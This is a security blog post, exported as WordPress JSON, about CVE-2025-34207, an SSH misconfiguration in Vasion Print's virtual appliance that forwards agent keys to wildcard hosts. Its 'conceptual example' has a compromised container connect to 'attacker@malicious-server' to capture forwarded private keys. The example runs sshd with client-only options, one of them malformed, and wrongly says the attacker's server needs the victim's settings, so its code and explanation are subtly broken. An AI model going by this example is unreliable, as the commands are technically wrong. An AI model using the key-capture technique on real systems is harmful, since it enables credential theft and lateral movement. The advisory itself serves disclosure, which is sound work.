{"id":81740,"date":"2025-10-05T06:30:39","date_gmt":"2025-10-05T06:30:39","guid":{"rendered":""},"modified":"2025-10-16T23:57:10","modified_gmt":"2025-10-17T05:57:10","slug":"cve-2025-34207-critical-ssh-configuration-vulnerability-in-vasion-print-virtual-appliance","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-34207-critical-ssh-configuration-vulnerability-in-vasion-print-virtual-appliance\/","title":{"rendered":"CVE-2025-34207: Critical SSH Configuration Vulnerability in Vasion Print Virtual Appliance<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability CVE-2025-34207 is a critical flaw existing in the SSH configuration of Vasion Print’s Virtual Appliance Host and Application. It affects versions of the host prior to 22.0.1049 and application versions prior to 20.0.2786. This vulnerability is crucial because it allows<\/a> an attacker to compromise a container, capture forwarded private keys, and use these keys to move unrestricted across the environment. Consequently, this can lead to severe data leakage or potential system<\/a> compromise.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-34207
\nSeverity: Critical (9.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise and potential<\/a> data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Vasion Print<\/a> Virtual Appliance Host | Prior to 22.0.1049
\nVasion Print<\/a> Application | Prior to 20.0.2786<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability lies in the insecure configuration of the SSH<\/a> client within Docker instances. The settings disable the verification of the remote host’s<\/a> SSH key and automatically forward the developer’s SSH agent to any host that matches the configured wildcard patterns. If an attacker can reach a single compromised container, they can cause the container to connect to a malicious SSH server, capture the forwarded private keys, and use those keys for unrestricted lateral movement across the environment.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how an attacker might exploit this vulnerability. In this scenario, the attacker convinces the vulnerable Docker instance to connect to their malicious SSH server:<\/a><\/p>\n

# Attacker's malicious SSH server\n$ sshd -o \"UserKnownHostsFile=\/dev\/null\" -o \"StrictHostKeyChecking=no\" -o \"ForwardAgent yes\"\n# In the compromised Docker instance\n$ ssh attacker@malicious-server<\/code><\/pre>\n
In the above example, the attacker’s malicious SSH server is set up with the same insecure settings as the vulnerable Docker<\/a> instances. When the compromised Docker instance connects to the attacker’s server, it forwards the private keys, which the attacker can then use for unrestricted lateral movement across the environment.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The vulnerability CVE-2025-34207 is a critical flaw existing in the SSH configuration of Vasion Print’s Virtual Appliance Host and Application. It affects versions of the host prior to 22.0.1049 and application versions prior to 20.0.2786. This vulnerability is crucial because it allows an attacker to compromise a container, capture forwarded private keys, and use […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[92],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-81740","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-docker"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t